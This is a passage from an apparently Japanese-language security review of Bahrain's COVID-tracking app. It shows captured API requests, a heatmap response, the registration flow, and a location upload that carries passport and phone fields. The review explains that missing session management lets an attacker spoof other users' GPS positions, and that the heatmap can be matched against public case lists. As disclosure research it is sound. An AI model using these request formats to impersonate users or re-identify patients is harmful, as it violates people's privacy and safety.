Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Linux; Android 7.1.2; Nexus 5 Build/NJH47F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/67.0.3396.87 Mobile Safari/537.36
appname: BCT
platform: android
Referer: http://localhost/
Accept-Encoding: gzip, deflate
X-Requested-With: bh.bahrain.corona.tracker
Content-Length: 21
[REDACTED]
テストの時点で、このリストには10 000個の一意の地点が含まれていました。取得したレスポンスの抜粋は次のとおりです。
{
"list": [
{
"key": "thshb50",
"latitude": 26.[REDACTED],
"longitude": 50.[REDACTED],
"weight": [REDACTED]
},
{
"key": "thsj120",
"latitude": 26.[REDACTED],
"longitude": 50.[REDACTED],
"weight": [REDACTED]
},
{
"key": "theuxfv",
"latitude": 26.[REDACTED],
"longitude": 50.[REDACTED],
"weight": [REDACTED]
},
{
"key": "thsj15q",
"latitude": 26.[REDACTED],
"longitude": 50.[REDACTED],
"weight": [REDACTED]
},
{
"key": "thsh2jd",
"latitude": 26.[REDACTED],
"longitude": 50.[REDACTED],
"weight": [REDACTED]
},
{
"key": "thevjcz",
"latitude": 26.[REDACTED],
"longitude": 50.[REDACTED],
"weight": [REDACTED]
},
このヒートマップを再現して、次の地図を作成しました。

これらの情報は、年齢、性別、国籍別の全感染者リストなど、他の公開情報と照合することができます。

個人を特定できる情報
アプリのユーザーは、登録手続きを行うかどうかを選べます。アプリは「ウイルスの拡散防止に役立つ」として、 この手順を推奨しています。登録方法は2つあります。
- CPR番号(バーレーンのID)で登録する
- パスポート番号で登録する
有効なCPR番号を持っていなかったため、私たちはパスポート番号を使って登録できました。その後、アプリは登録を完了するために携帯電話番号を尋ね、OTPを送信します。


登録後、アプリは端末のGPS座標を収集し、バックエンドへ継続的に送信します。送信される 情報には、パスポート/CPR番号と携帯電話番号も含まれています。これは、アプリケーションにセッション 管理が一切存在しないためです。このため攻撃者は、他のユーザーの電話番号とIDを入手していれば、 そのユーザーのGPS座標を偽装することもできます。
送信されるリクエストの例を次に示します。
POST /corona-tracking-client-api/locations HTTP/1.1
Content-Type: application/json; charset=utf-8
Content-Length: 495
Host: apps.bahrain.bh
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.12.11
{"location":{"event":"motionchange","is_moving":false,"uuid":"c68c095c-0058-4bb7-91db-36bca8892e9c","timestamp":"2020-06-02T23:08:48.000Z","odometer":0,"coords":{"latitude":26.164627075195312,"longitude":50.62568664550781,"accuracy":100,"speed":0,"heading":0,"altitude":170},"activity":{"type":"still","confidence":100},"battery":{"is_charging":true,"level":1},"extras":{}},"userDevice":{"userType":"passport","userId":"12AAXXXXXXXX","deviceId":"707af21c623b95bc","mobileNumber":"+447XXXXXXXXX"}}
注:userIdパラメーターの値はパスポート番号です。
ネットワークプロキシのアクティビティ表からは、ユーザーの位置情報がどれほど定期的にバックエンドサーバーへ送信されているかが分かります。
| URL | 日時 |
|---|---|
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:27:26 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:27:02 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:26:02 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:25:02 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:24:32 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:23:00 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:21:44 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:16:15 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:15:08 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:14:32 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:12:53 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:11:49 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:10:37 GMT |
アクセシビリティ
このアプリケーションは、英語、ウルドゥー語、ペルシャ語を含む複数の言語をサポートしており、優れたアクセシビリティ機能を備えています。

このアプリケーションは誰でも利用でき、電話番号やIDに関する制限はありません。
また、アプリケーションのサイズは小さい(11Mb未満)ものの、端末のGPS座標を継続的に送信する必要があるため、非常に多くのリソースを消費します。

